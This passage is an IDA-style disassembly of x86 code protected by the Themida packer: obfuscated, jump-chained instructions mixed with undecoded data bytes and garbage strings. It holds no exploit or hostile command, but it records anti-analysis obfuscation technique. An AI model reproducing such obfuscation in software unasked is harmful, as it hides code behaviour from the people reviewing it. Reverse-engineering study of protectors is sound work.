0F581FFFFh, 0F771E656h, 0E95DE989h dd 0FFFFF962h, 0F758C529h, 6EDC1D5h, 74EA840Fh, 0EE90000h dd 2800006Fh, 0FE51E9D8h, 34FFFFFFh, 24048B24h, 3A0A68h dd 24348900h, 24348B54h, 1ED8E9h db 0 ; --------------------------------------------------------------------------- loc_54A0A1: ; CODE XREF: Themida_:0055158Dj sub edx, 379759Eh xor ecx, edx jmp loc_55132C ; --------------------------------------------------------------------------- dw 815Eh dd 4C7h, 243C3300h, 33243C31h, 6BE9243Ch db 79h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A0C3: ; CODE XREF: Themida_:005503F3j pop bx sub dh, 62h shl dh, 6 and dh, 0BFh or dh, 51h jmp loc_554052 ; --------------------------------------------------------------------------- loc_54A0D6: ; CODE XREF: Themida_:00550CD1j add eax, 4 xchg eax, [esp] jmp loc_551876 ; --------------------------------------------------------------------------- loc_54A0E3: ; CODE XREF: Themida_:005558A8j sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], eax jmp loc_550BF0 ; --------------------------------------------------------------------------- loc_54A0F7: ; CODE XREF: Themida_:00553C20j push ax mov ah, 5Dh or dh, ah mov ax, [esp] jmp loc_553EEF ; --------------------------------------------------------------------------- loc_54A106: ; CODE XREF: Themida_:00555D0Fj push dword ptr [esp+4] jmp loc_54CF51 ; --------------------------------------------------------------------------- loc_54A10F: ; CODE XREF: Themida_:00555DD8j add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_54C874 ; --------------------------------------------------------------------------- loc_54A12A: ; CODE XREF: Themida_:0054B2F2j pop edi and edx, edi jmp loc_550B47 ; --------------------------------------------------------------------------- loc_54A132: ; CODE XREF: Themida_:0055352Ej add bh, cl sub bh, 0BAh jmp loc_54AFB2 ; --------------------------------------------------------------------------- loc_54A13C: ; CODE XREF: Themida_:00551E8Dj xchg ebp, [esp] pop esp mov [esp], ebx mov ebx, 2Ch jmp loc_54A553 ; --------------------------------------------------------------------------- loc_54A14D: ; CODE XREF: Themida_:005492E2j mov [esp], esi push ebx jmp loc_54CA17 ; --------------------------------------------------------------------------- loc_54A156: ; CODE XREF: Themida_:0054BF86j add si, 0B94Ah push small 0 jmp loc_54A76A ; --------------------------------------------------------------------------- dd 2B850h, 0C3010000h, 241C8758h, 0FFF9EEE9h, 0C8B66FFh dd 0E2895224h, 4C281h, 0EA830000h, 0B7C0E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A18A: ; CODE XREF: Themida_:0054F6CEj dec edx xor edx, 696D1556h add esi, edx pop edx jmp loc_550D5F ; --------------------------------------------------------------------------- loc_54A199: ; CODE XREF: Themida_:005520E5j push eax jmp loc_550807 ; --------------------------------------------------------------------------- db 83h dd 3C8904ECh, 2B72BF24h, 80B955FDh, 29D14E3Eh, 0C9815FF9h dd 0CE77F8h, 0E48E181h, 0E1811371h, 496464FCh, 0FFE81CE9h dd 242489FFh, 4240481h, 0E9000000h, 6BDCh, 8957D828h, 0F646E9E7h dd 8B66FFFFh, 2668240Ch, 0E900007Ch, 0ADC5h ; --------------------------------------------------------------------------- loc_54A1F0: ; CODE XREF: Themida_:00554D37j push ecx mov ecx, 6FF177DEh add edx, ecx pop ecx add edx, edi sub edx, 6FF177DEh push ecx mov ecx, 25D47258h add edx, ecx pop ecx pop edi jmp loc_54ED06 ; --------------------------------------------------------------------------- aRiS db 'R┬ЙИ╫',0Dh,0 align 4 dd 81E18951h, 4C1h, 0E9BD5500h, 81722846h, 0A8DFB6C5h dd 5D33E9C0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A232: ; CODE XREF: Themida_:0054FC37j xor [esp], eax jmp loc_552943 ; --------------------------------------------------------------------------- dw 0F781h dd 39D3FFD9h, 3C8BF801h, 0E7895724h, 646BBB53h, 814B2200h dd 6A23FFCBh, 26DCE901h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A25A: ; CODE XREF: Themida_:0054F587j pop bx jmp loc_5535E2 ; --------------------------------------------------------------------------- loc_54A261: ; CODE XREF: Themida_:005511ECj push edx jmp loc_54D7B1 ; --------------------------------------------------------------------------- db 81h dd 0D132404h, 4815A72h, 8F085B24h, 24042963h, 85BBB53h dd 5C29638Fh, 17E90424h, 81000041h, 4C5h, 242C3300h, 33242C31h dd 2AE9242Ch db 86h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A29B: ; CODE XREF: Themida_:0054A6D2j mov [esp], eax mov eax, 10h push eax add dword ptr [esp], 51CF15C8h jmp loc_549FEC ; --------------------------------------------------------------------------- loc_54A2B0: ; CODE XREF: Themida_:0054F8E9j pop edx pop ecx add edi, 42F475D2h and eax, edi mov edi, [esp] add esp, 4 shr eax, 0Ah xor eax, ecx push edx mov edx, esp add edx, 4 push ebx mov ebx, 0E4F6784h sub ebx, 0E4F6780h sub edx, ebx jmp loc_5491C6 ; --------------------------------------------------------------------------- db 0BDh, 54h, 72h dd 0ED8140B8h, 352C4C37h, 997A8A0Fh, 0C5810000h, 74E776F7h dd 0A04890Fh, 0FC880000h ; --------------------------------------------------------------------------- loc_54A300: ; CODE XREF: Themida_:0054C23Aj add esp, 4 jmp loc_555ED4 ; --------------------------------------------------------------------------- loc_54A30B: ; CODE XREF: Themida_:00549E00j mov esi, [esp] jmp loc_54A83E ; --------------------------------------------------------------------------- loc_54A313: ; CODE XREF: Themida_:0054D8E1j add edi, 7968167Ch push ebp mov ebp, 0DF0C71DBh sub edi, ebp pop ebp sub eax, 2986199h add eax, edi jmp loc_54BD4B ; --------------------------------------------------------------------------- loc_54A32E: ; CODE XREF: Themida_:0054C31Bj test cx, ax pushf jmp loc_54E624 ; --------------------------------------------------------------------------- loc_54A337: ; CODE XREF: Themida_:005545FFj mov esi, eax mov ebp, esi pop esi pop eax jmp loc_551446 ; --------------------------------------------------------------------------- dw 4BFh dd 1000000h, 0B4AFE9F9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A34E: ; CODE XREF: Themida_:00551B41j mov [esp], eax push ecx jmp loc_54D8ED ; --------------------------------------------------------------------------- loc_54A357: ; CODE XREF: Themida_:0054D893j xor ebx, 547CBE4Bh mov edx, ebx pop ebx push ebx mov ebx, 0FFFFFFFFh add edx, ebx pop ebx xor edx, 4ACC4144h push esi mov esi, 63EF15B5h inc esi push edx jmp loc_5521FE ; --------------------------------------------------------------------------- loc_54A37C: ; CODE XREF: Themida_:005514C5j or dh, 90h inc dh sub dh, 59h add al, dh mov edx, [esp] add esp, 4 dec al js loc_54ACAA add al, 22h mov dl, al pop eax not dl and dl, 1 mov al, 43h pop ebp add edx, 62555D58h add edx, ebx sub edx, 62555D58h pop ebx push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push 3DF6h mov [esp], edi push esp pop edi add edi, 4 jmp loc_54C773 ; --------------------------------------------------------------------------- loc_54A3D6: ; CODE XREF: Themida_:005505DFj dec eax jno loc_54AB47 jmp loc_54BD4B ; --------------------------------------------------------------------------- dw 4BFh dd 1000000h, 56525FFEh ; --------------------------------------------------------------------------- loc_54A3EC: ; CODE XREF: Themida_:0055410Fj pop esp jmp loc_54EE4B ; --------------------------------------------------------------------------- loc_54A3F2: ; CODE XREF: Themida_:00550D3Dj jmp loc_54C4A7 ; --------------------------------------------------------------------------- loc_54A3F7: ; CODE XREF: Themida_:00549493j push 1681h jmp loc_55248A ; --------------------------------------------------------------------------- loc_54A401: ; CODE XREF: Themida_:00549928j shr bh, 2 push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], eax push edx mov dh, 58h xor dh, 2Fh dec dh or dh, 4Dh push ebx mov bl, 6Dh jmp loc_548AA4 ; --------------------------------------------------------------------------- loc_54A42D: ; CODE XREF: Themida_:0054E708j jmp loc_551F60 ; --------------------------------------------------------------------------- loc_54A432: ; CODE XREF: Themida_:loc_55384Dj xor ebx, 839628D5h jmp loc_55499F ; --------------------------------------------------------------------------- db 58h, 88h, 0DAh dd 8BF2805Bh, 30BA8D0Fh, 0C2800000h, 0F5E9520Fh, 660000A3h dd 309AB55Bh, 4B951D5h, 81000000h, 30960C3h, 51EB814Eh dd 297A5402h, 0BA50E9CBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A472: ; CODE XREF: Themida_:00549871j sub ebp, 81A0803Eh jmp loc_54C519 ; --------------------------------------------------------------------------- loc_54A47D: ; CODE XREF: Themida_:00551D39j xor ebp, 0F717B096h jmp loc_54B63B ; --------------------------------------------------------------------------- dd 4C481h, 0EBE90000h, 81000029h, 0E4349AC3h, 0CD810F39h dd 81000087h, 0B8D4E5F3h, 5BDD010Ah db 5Bh ; --------------------------------------------------------------------------- loc_54A4A9: ; CODE XREF: Themida_:0054FD0Bj mov esp, [esp] idiv ecx push 5161h mov [esp], edx push eax pushf jmp loc_548929 ; --------------------------------------------------------------------------- loc_54A4BD: ; CODE XREF: Themida_:00554913j pop eax jmp loc_55017D ; --------------------------------------------------------------------------- db 81h dd 9E2037CFh, 33F7815Ah, 15ABE3Ch, 0CB685FFBh, 89000019h dd 2BF243Ch, 81000000h, 753A6DC3h, 81FB0101h, 753A6DEBh dd 98685F01h, 89000028h, 74FF241Ch, 8F5B0424h, 248B2404h dd 0A322E924h, 52AC0000h, 0EA8029B2h, 5AD02808h, 0FFFB04E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A515: ; CODE XREF: Themida_:00549D1Aj push 176h mov [esp], esi sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 mov esi, [esp] push edi jmp loc_5503C1 ; --------------------------------------------------------------------------- loc_54A534: ; CODE XREF: Themida_:0055370Fj pop edi mov cx, 2E05h xor cx, 15F3h jge loc_553BB8 shr cx, 3 jnz loc_54B151 jmp loc_54991C ; --------------------------------------------------------------------------- loc_54A553: ; CODE XREF: Themida_:0054A148j add ebx, 97632E4h add ebx, edi push eax mov eax, 97632E4h sub ebx, eax jmp loc_554B9A ; --------------------------------------------------------------------------- loc_54A568: ; CODE XREF: Themida_:00549CBEj pop esp mov [esp], ebp mov ebp, esp add ebp, 4 push ebx jmp loc_551AF8 ; --------------------------------------------------------------------------- loc_54A57A: ; CODE XREF: Themida_:0054C253j xor ebx, 0F3790E80h jmp loc_555D0B ; --------------------------------------------------------------------------- db 0B1h, 7Ch, 0F6h dd 0DD6866D1h, 0A7F7E90Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A592: ; CODE XREF: Themida_:0054E5FFj push edi mov edi, 4 add esi, edi pop edi push esi push dword ptr [esp+4] push dword ptr [esp] mov esi, [esp] jmp loc_5514E8 ; --------------------------------------------------------------------------- loc_54A5AB: ; CODE XREF: Themida_:0055390Dj inc eax jmp loc_554364 ; --------------------------------------------------------------------------- loc_54A5B1: ; CODE XREF: Themida_:00552E41j sub edi, 4 xchg edi, [esp] mov esp, [esp] jmp loc_555A08 ; --------------------------------------------------------------------------- loc_54A5C2: ; CODE XREF: Themida_:00553124j add esp, 4 jmp loc_548929 ; --------------------------------------------------------------------------- loc_54A5CA: ; CODE XREF: Themida_:005527DAj add dword ptr [esp], 47C12321h pop ecx jmp loc_549E12 ; --------------------------------------------------------------------------- aHV db ']h',7,'v',0 dd 242C8900h, 9A7C5E68h, 61E95D13h, 2D000080h, 3AE270CBh dd 177F6E2Dh, 0EE6FE9B5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A5FA: ; CODE XREF: Themida_:0054BCB4j pop esi not di push esi jmp loc_552E46 ; --------------------------------------------------------------------------- dd 468AEA81h, 0E2816F86h, 578410A8h, 50E68h, 240C8900h dd 1734BA52h, 3868215Fh, 0E9174EEDh, 3CAFh ; --------------------------------------------------------------------------- loc_54A628: ; CODE XREF: Themida_:0054BA55j add ecx, esi push dword ptr [esp] pop esi add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp shl byte ptr [esp], cl pushf jmp loc_548929 ; --------------------------------------------------------------------------- loc_54A644: ; CODE XREF: Themida_:loc_549020j add ebx, 477923Dh mov esi, ebx pop ebx jmp loc_549A43 ; --------------------------------------------------------------------------- loc_54A652: ; CODE XREF: Themida_:00548E0Ej neg ebp xchg eax, ebp not eax xchg eax, ebp jmp loc_55500E ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4EC81h, 0D2E90000h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A66B: ; CODE XREF: Themida_:0055056Cj shr ebx, 8 sub ebx, 96BFAE21h and esi, ebx pop ebx push ebx push ecx mov ecx, 62D72067h mov ebx, ecx pop ecx and ebx, 45F46B70h or ebx, 2B073D30h xor ebx, 5CE14B6Ah push ebx inc dword ptr [esp] pop ebx jmp loc_54D239 ; --------------------------------------------------------------------------- loc_54A69D: ; CODE XREF: Themida_:0054D12Fj jz loc_553E34 jmp loc_55237E ; --------------------------------------------------------------------------- dd 0FFE27CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A6AD: ; CODE XREF: Themida_:005535F6j shr esi, 6 xor esi, 1C586E0Bh jmp loc_550240 ; --------------------------------------------------------------------------- loc_54A6BB: ; CODE XREF: Themida_:0055269Aj add edx, edi push ecx jmp loc_548A3E ; --------------------------------------------------------------------------- loc_54A6C3: ; CODE XREF: Themida_:0054BC26j pop ebp push 67DDh mov [esp], ecx sub esp, 4 jmp loc_54A29B ; --------------------------------------------------------------------------- db 52h dd 0EA80FAB2h, 24EA80F7h, 60E9DAF6h db 8Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A6E7: ; CODE XREF: Themida_:00548B45j pop esi push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_553875 ; --------------------------------------------------------------------------- dw 0D901h dd 7FC6C181h, 0E95B6E23h, 0A615h ; --------------------------------------------------------------------------- loc_54A70C: ; CODE XREF: Themida_:loc_55413Dj not ebp jmp loc_5492E7 ; --------------------------------------------------------------------------- aIsusV db '┴АUИдV',0 dw 0C100h dd 8B0F02EFh, 6194h, 7743E9h db 0 ; --------------------------------------------------------------------------- loc_54A729: ; CODE XREF: Themida_:005556D3j pop esp mov [esp], ecx jmp loc_554CAB ; --------------------------------------------------------------------------- loc_54A732: ; CODE XREF: Themida_:0054F61Dj sub esp, 4 mov [esp], ebx push esi pop ebx pop esi pop esi push 33DDh mov [esp], ecx push ebp mov ebp, 54F2C5Bh xor ebp, 11A8A73Ch mov ecx, ebp pop ebp xor ebx, ecx pop ecx add edx, ebx mov ebx, [esp] jmp loc_54E1DD ; --------------------------------------------------------------------------- loc_54A763: ; CODE XREF: Themida_:0054962Dj pop eax push ebx jmp loc_552C63 ; --------------------------------------------------------------------------- loc_54A76A: ; CODE XREF: Themida_:0054A15Fj sub [esp], si pop si dec si jmp loc_552ED1 ; --------------------------------------------------------------------------- db 68h dd 0C5Fh, 24048F54h, 7DB168h, 240C8900h, 4B9h, 24448100h dd 0B71C1A04h, 246C8144h, 7567E604h, 2444817Bh, 413FD204h dd 244C014Ah, 246C8104h, 413FD204h, 2444814Ah, 7567E604h dd 0E955537Bh, 3AC3h ; --------------------------------------------------------------------------- loc_54A7C0: ; CODE XREF: Themida_:0054EEC8j sub edi, 2 xchg edi, [esp] pop esp jmp loc_54D835 ; --------------------------------------------------------------------------- aPKXsnp db 'P╦й╙╢╦)гXИNp',0 dd 24248B00h, 1479E9h db 0 ; --------------------------------------------------------------------------- loc_54A7E5: ; CODE XREF: Themida_:0054DD90j add esi, ebx mov ebx, [esp] add esp, 4 sub esi, 4 jmp loc_54FF5C ; --------------------------------------------------------------------------- loc_54A7F8: ; CODE XREF: Themida_:0054D757j push ebp jmp loc_54C9D0 ; --------------------------------------------------------------------------- loc_54A7FE: ; CODE XREF: Themida_:0054B391j ; Themida_:00554C28j mov ecx, 5FCF70EBh jmp loc_54DC46 ; --------------------------------------------------------------------------- loc_54A808: ; CODE XREF: Themida_:0054AC79j push 607Bh mov [esp], edi jmp loc_553552 ; --------------------------------------------------------------------------- db 0BAh, 9Ch, 18h dd 54015E03h, 56E90824h db 7Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A823: ; CODE XREF: Themida_:0054B090j push esi sub esp, 4 mov [esp], edx mov edx, 4E42B61h or edx, 3AC84575h push esi jmp loc_553FA1 ; --------------------------------------------------------------------------- loc_54A83E: ; CODE XREF: Themida_:0054A30Ej push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_54D10C ; --------------------------------------------------------------------------- db 66h dd 56240C8Bh, 0C6815E54h, 4, 4EC8157h, 89000000h, 63BE2434h dd 0D14FAE08h, 3CC681E6h, 8960A3EFh, 0FE015EF7h, 4EC815Fh dd 89000000h, 74FF2434h, 348B0424h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_550C66 ; --------------------------------------------------------------------------- loc_54A89D: ; CODE XREF: Themida_:0054B2D7j and eax, 64A25DDDh sub eax, 6B8546ADh jb loc_553316 dec eax jg loc_54B74E mov bl, bl and al, 0Fh push edi mov edi, 66462066h sub edi, 96E6C5Bh and edi, 6AC049E9h jmp loc_554D61 ; --------------------------------------------------------------------------- db 53h dd 0DA5D5EBBh, 0E9DA8926h, 7A1Ah, 405E089h, 5000000h, 4 dd 5C240487h, 4BD55h, 25E90000h, 0FF00001Bh, 9EE92C77h dd 8900009Ch, 4B951E7h, 1000000h, 240C8BCFh, 4C481h, 0BB530000h dd 4, 34FFDF01h, 89505B24h, 405E0h, 88E90000h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A92B: ; CODE XREF: Themida_:0054FFC1j mov eax, 4 mov ecx, eax pop eax add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp] jmp loc_548B50 ; --------------------------------------------------------------------------- loc_54A944: ; CODE XREF: Themida_:00552778j shr ebp, 1 push ecx jmp loc_552179 ; --------------------------------------------------------------------------- loc_54A94C: ; CODE XREF: Themida_:0054B5A9j mov dh, ah pop eax mov ah, 21h xor ah, dh pop edx add bl, ah jmp loc_54CD5B ; --------------------------------------------------------------------------- loc_54A95B: ; CODE XREF: Themida_:00555B2Bj pop edi sub ecx, 39FF4D30h jmp loc_552101 ; --------------------------------------------------------------------------- loc_54A967: ; CODE XREF: Themida_:0054D386j mov bh, ah not bh mov ah, bh pop ebx and ah, 88h jmp loc_552E0D ; --------------------------------------------------------------------------- loc_54A976: ; CODE XREF: Themida_:00552530j mov edi, 4EFC1F2Dh xor ebx, edi pop edi mov ecx, ebx pop ebx and eax, ecx pop ecx or eax, eax jmp loc_54D03A ; --------------------------------------------------------------------------- loc_54A98B: ; CODE XREF: Themida_:0054FD57j mov eax, 225409E2h neg eax neg eax inc eax dec eax jmp loc_552602 ; --------------------------------------------------------------------------- loc_54A99B: ; CODE XREF: Themida_:00551ECFj mov ecx, 2D91318h add ecx, 4BCC1A92h jmp loc_54CA17 ; --------------------------------------------------------------------------- db 5Ah dd 54E9C4FEh db 75h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A9B3: ; CODE XREF: Themida_:0054CDBCj add esp, 4 sub esp, 4 mov [esp], esi mov esi, 296E3246h shr esi, 5 jmp loc_549DA7 ; --------------------------------------------------------------------------- loc_54A9CF: ; CODE XREF: Themida_:0054BD81j or cl, 66h xor cl, 0A3h sub al, 71h add al, cl push small 2744h jmp loc_54FBCB ; --------------------------------------------------------------------------- aWsq db 'WИО',7,0 align 4 dd 472EC5BBh, 8C0F4372h, 0FFFFF1B6h, 0B8E6EB81h, 0F5E90288h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A9FF: ; CODE XREF: Themida_:0054BF4Fj pop esp bts [esp], ax pushf jmp loc_548929 ; --------------------------------------------------------------------------- loc_54AA0B: ; CODE XREF: Themida_:0054B61Ej push ebp sub esp, 4 mov [esp], esi jmp loc_551E29 ; --------------------------------------------------------------------------- dw 885Ah dd 5B6659EEh, 0F601EE80h, 34CE80DEh, 5140EE80h, 8AB9E9h dd 4C68100h, 51000000h, 17A1E9h db 0 ; --------------------------------------------------------------------------- loc_54AA3D: ; CODE XREF: Themida_:00548A0Dj not bl xchg bl, al xor al, 74h add bl, al jmp loc_54C7C5 ; --------------------------------------------------------------------------- dw 0D5F7h dd 1966E9h, 5DEE2900h, 0A50EE81h, 0C6012294h, 0A50C681h dd 63682294h, 8900007Fh, 9F68243Ch, 5F3B7A00h, 19E9FE01h db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AA77: ; CODE XREF: Themida_:0054AE40j jmp loc_551B97 ; --------------------------------------------------------------------------- loc_54AA7C: ; CODE XREF: Themida_:00550F75j mov ecx, [esp] add esp, 4 add al, 3Ah sub al, cl sub al, 3Ah add al, 6Bh pop ecx xor bl, al push ecx push ebp push 52980C61h mov ebp, [esp] add esp, 4 shr ebp, 3 jmp loc_54F904 ; --------------------------------------------------------------------------- loc_54AAA8: ; CODE XREF: Themida_:loc_54B3B4j add ecx, 4DFB16B6h add ecx, 8F8EC4DEh mov edi, ecx jmp loc_54E45B ; --------------------------------------------------------------------------- loc_54AABB: ; CODE XREF: Themida_:00554889j mov edi, esp add edi, 4 jmp loc_553F6D ; --------------------------------------------------------------------------- loc_54AAC8: ; CODE XREF: Themida_:005545E6j push 61ECh mov [esp], ebx mov ecx, [esp] add esp, 4 mov esi, ecx pop ecx push esi mov eax, [esp] push ebx jmp loc_549B10 ; --------------------------------------------------------------------------- db 86h dd 30D4F6E1h, 30CC30E1h, 4EC81E1h, 89000000h, 0C8882404h dd 4244C8Ah, 4244488h, 0E924048Bh, 140Fh ; --------------------------------------------------------------------------- loc_54AB08: ; CODE XREF: Themida_:005536A6j mov ecx, 38h add ecx, edx mov [ecx], ebp pop ecx pop ebp mov eax, [esp] add esp, 4 push ebx push edi jmp loc_54F607 ; --------------------------------------------------------------------------- loc_54AB23: ; CODE XREF: Themida_:0054CFADj inc ebx jle loc_54DC13 and ebx, 3D801D07h jnz loc_548B67 push esi push esp pop ebp add ebp, 4 sub ebp, 4 jmp loc_54E80D ; --------------------------------------------------------------------------- loc_54AB47: ; CODE XREF: Themida_:0054A3D7j ; Themida_:0054EE28j jmp loc_5506F2 ; --------------------------------------------------------------------------- loc_54AB4C: ; CODE XREF: Themida_:0055443Fj mov edi, 4 add esi, edi pop edi push edx push esi jmp loc_54B7DC ; --------------------------------------------------------------------------- loc_54AB5B: ; CODE XREF: Themida_:00549B3Fj inc ebx inc ebx push ecx mov ecx, 549B648Eh shl ecx, 7 add ecx, 38C56E10h sub ecx, 265E3B04h not ecx shl ecx, 7 add ecx, 4959504Ch jmp loc_54E425 ; --------------------------------------------------------------------------- loc_54AB82: ; CODE XREF: Themida_:00551460j dec ecx jnp loc_54F92A add ecx, 0FA6E6B19h mov esi, ecx pop ecx add edx, esi mov esi, [esp] push ebp mov ebp, esp add ebp, 4 push eax mov eax, 329A1F22h xor eax, 7C8D1C17h dec eax add eax, 7D3769C6h sub eax, 3B557D91h sub eax, 1B7910F4h xor eax, 747FDE71h add ebp, eax pop eax xchg ebp, [esp] pop esp jmp loc_54FDB2 ; --------------------------------------------------------------------------- loc_54ABCC: ; CODE XREF: Themida_:00552B27j add ecx, eax pop eax push ebp mov ebp, 4 add ecx, ebp pop ebp xor ecx, [esp] jmp loc_54C917 ; --------------------------------------------------------------------------- loc_54ABE0: ; CODE XREF: Themida_:00553330j mov esi, 28E581Bh or esi, 1CA02C1Fh add esi, 0E15183E5h jmp loc_54B74E ; --------------------------------------------------------------------------- dw 0C281h dd 4, 4C281h, 14870000h, 24248B24h, 4EC81h, 2C890000h dd 22FE924h, 0C2810000h, 41BB2D59h, 0EA81F201h, 41BB2D59h dd 3EAC15Eh, 58850F4Ah, 81000031h, 0BEF7B2C2h, 5AD389FCh dd 8EDCE9h db 0 ; --------------------------------------------------------------------------- loc_54AC3D: ; CODE XREF: Themida_:0054FFD8j add bl, 0F4h jmp loc_550E20 ; --------------------------------------------------------------------------- aPAI0X db 'P╟─╠⌡0аX',0 dw 59C8h dd 5624148Bh, 0C681E689h, 4, 0E904C683h, 32DCh ; --------------------------------------------------------------------------- loc_54AC64: ; CODE XREF: Themida_:00554F67j pop edi sub esp, 4 mov [esp], eax mov eax, 4 add edi, eax pop eax add edi, 2 jmp loc_54A808 ; --------------------------------------------------------------------------- dw 0D388h dd 2434FF5Ah, 4C48158h, 59000000h, 15B75366h, 0F828E904h dd 0FFE108E9h, 81CB29FFh, 76729CC3h, 8F665905h, 0DC7FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ACAA: ; CODE XREF: Themida_:0054A38Ej add al, 22h mov dl, al pop eax not dl and dl, 1 push 0E0Fh mov [esp], eax mov al, 0E4h or dl, al mov eax, [esp] jmp loc_54DEB8 ; --------------------------------------------------------------------------- dd 3332BF57h, 0E7810CE6h, 6802D94h, 0E947D7F7h, 0ADD1h ; --------------------------------------------------------------------------- loc_54ACDC: ; CODE XREF: Themida_:0054BAE1j mov edx, 2 add esi, 22D560E3h sub esi, edx sub esi, 22D560E3h pop edx xchg esi, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_549445 ; --------------------------------------------------------------------------- loc_54AD02: ; CODE XREF: Themida_:00554B88j mov ebx, 0 add ebx, edx jmp loc_54F27B ; --------------------------------------------------------------------------- loc_54AD0E: ; CODE XREF: Themida_:00551AC0j jmp loc_548929 ; --------------------------------------------------------------------------- loc_54AD13: ; CODE XREF: Themida_:00550FBDj push 5B24h mov [esp], ebx jmp loc_5525A9 ; --------------------------------------------------------------------------- dd 5B76E981h, 8E0F21E5h, 0FFFFEC0Ch, 0E907E1C1h, 1BF2h dd 34FFFD29h, 0C4835F24h, 8BEB0104h, 0C481242Ch, 4, 0FFF417E9h dd 240431FFh, 0FFF19AE9h, 28C0B7FFh, 5B665BF8h, 82B353h dd 241C8BD8h, 4C481h, 0EC810000h, 4, 0B2241489h, 0F6CAFE0Bh dd 80C2FED2h, 0BF68A9F2h, 8900006Bh, 1B5240Ch, 0C8BEA28h dd 4C48324h, 0E95CEA80h, 5763h ; --------------------------------------------------------------------------- loc_54AD98: ; CODE XREF: Themida_:0054CA2Fj push ebp jmp loc_54CE00 ; --------------------------------------------------------------------------- dw 0A3BFh dd 0E98725B1h, 2518h, 52D830ACh, 6BE905B2h db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54ADB3: ; CODE XREF: Themida_:0054CCDFj pop eax add esi, 4 jmp loc_5554BE ; --------------------------------------------------------------------------- loc_54ADBF: ; CODE XREF: Themida_:0055134Ej push 2A40h mov [esp], edi mov edi, 48E54D9Dh sub edi, 1 sub esp, 4 mov [esp], ecx mov ecx, 50B23321h jmp loc_550E04 ; --------------------------------------------------------------------------- loc_54ADDF: ; CODE XREF: Themida_:00550613j push ebx push 7F0Fh mov [esp], edi push small 0CF7h pop di jmp loc_54C77B ; --------------------------------------------------------------------------- loc_54ADF3: ; CODE XREF: Themida_:005543B9j mov edx, esp add edx, 4 push esi mov esi, 4 add edx, esi pop esi xchg edx, [esp] jmp loc_550033 ; --------------------------------------------------------------------------- dd 0E958C101h, 0CEDh ; --------------------------------------------------------------------------- loc_54AE14: ; CODE XREF: Themida_:00554EA2j pop esi inc esi xchg esi, ecx jmp loc_5540F2 ; --------------------------------------------------------------------------- db 5Fh, 1, 0DAh dd 2414875Bh, 0F724248Bh, 7F0B68E1h, 14890000h, 0E99C5024h dd 0FFFFDAF1h ; --------------------------------------------------------------------------- loc_54AE38: ; CODE XREF: Themida_:loc_552FA7j xor eax, 0D87AD26Fh mov edi, eax pop eax jmp loc_54AA77 ; --------------------------------------------------------------------------- aPuhq9qdsJ db 'PUhq9QdИ╠j',0 dd 32C38100h, 1102D4Ch, 32EB81D3h, 5A102D4Ch, 3304C383h dd 1C31241Ch, 0DEE6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AE6E: ; CODE XREF: Themida_:loc_550DDFj shl eax, 8 jp loc_54C460 push edx mov edx, 81C0D801h jmp loc_553375 ; --------------------------------------------------------------------------- dw 9B2Ch db 57h ; --------------------------------------------------------------------------- loc_54AE85: ; CODE XREF: Themida_:005539F4j mov [esp], edx push eax pop edx pop eax xor eax, edx jmp loc_552C3B ; --------------------------------------------------------------------------- dw 5ADh dd 23924A94h, 1178FA05h, 58D0E93Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AEA2: ; CODE XREF: Themida_:0054D2D8j push edi jmp loc_54C8F5 ; --------------------------------------------------------------------------- aQDaiYbMIbsB db 'Q╧°]╓A┴йY│б▄(ibИ╬│',0 align 4 loc_54AEBC: ; CODE XREF: Themida_:00548ABCj sub bh, ah mov eax, [esp] add esp, 4 jmp loc_54DF9B ; --------------------------------------------------------------------------- loc_54AEC9: ; CODE XREF: Themida_:00549579j mov [esp], edx push 1Ch pop edx push 39C8h mov [esp], ebp mov ebp, 2FCD3CADh jmp loc_54CCE4 ; --------------------------------------------------------------------------- dd 2A1AE95Dh, 77FF0000h, 2434FF3Ch, 0E7895758h, 9A76E9h db 0 ; --------------------------------------------------------------------------- loc_54AEF9: ; CODE XREF: Themida_:0055076Dj push 5A486D6Fh push dword ptr [esp] pop ebp jmp loc_55006C ; --------------------------------------------------------------------------- db 80h dd 0C50073EDh, 5152E9h db 0 ; --------------------------------------------------------------------------- loc_54AF11: ; CODE XREF: Themida_:0054F78Aj inc ebp not ebp add ebp, 399E4985h add ebx, ebp pop ebp push 127Ah mov [esp], eax push 69E4h jmp loc_555437 ; --------------------------------------------------------------------------- loc_54AF2F: ; CODE XREF: Themida_:0054AF62j add esp, 4 add esp, 4 sub esp, 4 mov [esp], edx mov eax, [esp] 